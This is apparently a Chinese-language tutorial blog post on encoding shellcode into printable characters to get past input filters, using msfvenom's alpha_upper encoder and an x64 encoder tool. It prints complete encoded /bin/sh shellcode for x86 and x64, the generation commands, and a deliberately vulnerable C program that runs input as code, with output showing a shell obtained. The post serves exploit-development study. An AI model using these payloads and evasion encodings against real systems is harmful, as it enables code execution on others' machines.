生成可打印的shellcode

TOC

  1. 1. x86编码
    1. 1.1. 使用方法
  2. 2. x64编码
  3. 3. 举例
    1. 3.1. printable.c

有时候程序会对我们的payload进行一些可打印检查,比如进行 utf-8 编码等,这时候一般的 shellcode 是无法绕过检查的,这时候就需要我们对 shellcode 进行编码。

通过对网上资料的总结,找到了两种比较好的编码方法。

x86编码

x86编码的话用msf内置的encoder就行了。

ex@Ex:~$ msfvenom -l encoders

Framework Encoders [--encoder <value>]
======================================

Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder

但是现在(2019-07-13)msf中还没有x64alpha_upper编码方式。

使用方法

使用msf时,可以用内置的shellcode,其命令如下:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax

BufferRegister指的是指向shellcode的寄存器的值

如果不声明BufferRegister的话,生成的shellcode会有额外的几条指令来确定shellcode的位置,而那几条额外的指令却并不是可打印字符。

其结果如下所示:

ex@Ex:~/test$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 155 (iteration=0)
x86/alpha_upper chosen with final size 155
Payload size: 155 bytes
Final size of python file: 750 bytes
buf = ""
buf += "\x89\xe7\xda\xd1\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += "\x4a\x49\x32\x4a\x44\x4b\x36\x38\x4a\x39\x56\x32\x33"
buf += "\x56\x45\x38\x56\x4d\x53\x53\x4d\x59\x4d\x37\x35\x38"
buf += "\x56\x4f\x32\x53\x52\x48\x53\x30\x55\x38\x46\x4f\x53"
buf += "\x52\x35\x39\x32\x4e\x4b\x39\x4d\x33\x36\x32\x5a\x48"
buf += "\x44\x48\x53\x30\x53\x30\x35\x50\x36\x4f\x42\x42\x42"
buf += "\x49\x52\x4e\x46\x4f\x54\x33\x35\x38\x43\x30\x31\x47"
buf += "\x36\x33\x4b\x39\x4b\x51\x58\x4d\x4d\x50\x41\x41"

第二种,我们可以用msf来编码自己写的shellcode,其命令如下:

cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax

其运行结果如下:

ex@Ex:~/test$ cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 103 (iteration=0)
x86/alpha_upper chosen with final size 103
Payload size: 103 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA

x64编码

对于x64的shellcode进行编码,Github上的 https://github.com/ecx86/shellcode_encoder 是很不错的,和msf上的工具一样,都是要确定shellcode的地址才行。

其命令如下:

python2 main.py shellcode rax+29

运行结果如下:

ex@Ex:~/test/shellcode_encoder$ hexdump -C shellcode 
00000000 48 b8 2f 62 69 6e 2f 73 68 00 50 48 89 e7 48 31 |H./bin/sh.PH..H1|
00000010 f6 48 f7 e6 b8 3b 00 00 00 0f 05 |.H...;.....|
0000001b
ex@Ex:~/test/shellcode_encoder$ python2 main.py shellcode rax+29
Encoding stage2
488b0432 => 4863343a31343a53582d402874332d5020605f35383c2f5f505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
480faf44 => 4863343a31343a53582d713b40412d704520413557703039505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
32084889 => 4863343a31343a53582d244874202d5f606c20354f5f5736505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
043a83c7 => 4863343a31343a53582d402233402d41602020357b472f58505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
0883c610 => 4863343a31343a53582d402646612d502220413578345f4d505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
85c075e8 => 4863343a31343a53582d202022202d20407e4035455f2a77505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
Multiply-encoding stage3
48b82f62696e2f73 => 413553575a25252e 483e23646d6e2b73
6800504889e74831 => 415462524c61643a 684654484b634c35
f648f7e6b83b0000 => 4163795c343a7931 7649363a204f3a3b
000f059090909090 => 3c3b77625b273220 40707d593b5c7463
Assembling jump at +408

Encoding preamble for rdx <- rax+29
PPTAYAXVI31VXXXf-cof-@Hf-@HPZ

Original length: 27
Encoded length: 476
Preamble length: 29
Total length: 505

PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A` 5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX- " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc

举例

printable.c

// x86: gcc -m32 printable.c -o printable32
// x64: gcc printable.c -o printable64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

int is_printable(char *s, int length)
{
int i;

for (i = 0; i < length; i ++)
{
if (s[i] <= 31 || s[i] == 127)
{
return 0;
}
}
return 1;
}

int main()
{
char *buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int tail = read(0, buf, 0x1000);

alarm(60);

if (buf[tail - 1] == '\n')
{
buf[tail - 1] = '\0';
tail--;
}

if (!is_printable(buf, tail))
{
puts("It must be a printable string!");
exit(-1);
}
asm("call *%0" ::"r"(buf));
return 0;
}

在这个程序中,正常的 shellcode 会被直接绊住,所以就可以利用上面编码过的shellcode。

其结果如下:

ex@Ex:~/test$ file printable32
printable32: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=6bbd4307de7e93dcda81bef0f16617415b14ec17, not stripped
ex@Ex:~/test$ ./printable32
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ exit
ex@Ex:~/test$ file printable64
printable64: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9d51fb0464f69bae2eb982d538eaee094d5b501b, not stripped
ex@Ex:~/test$ ./printable64
PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A` 5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX- " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$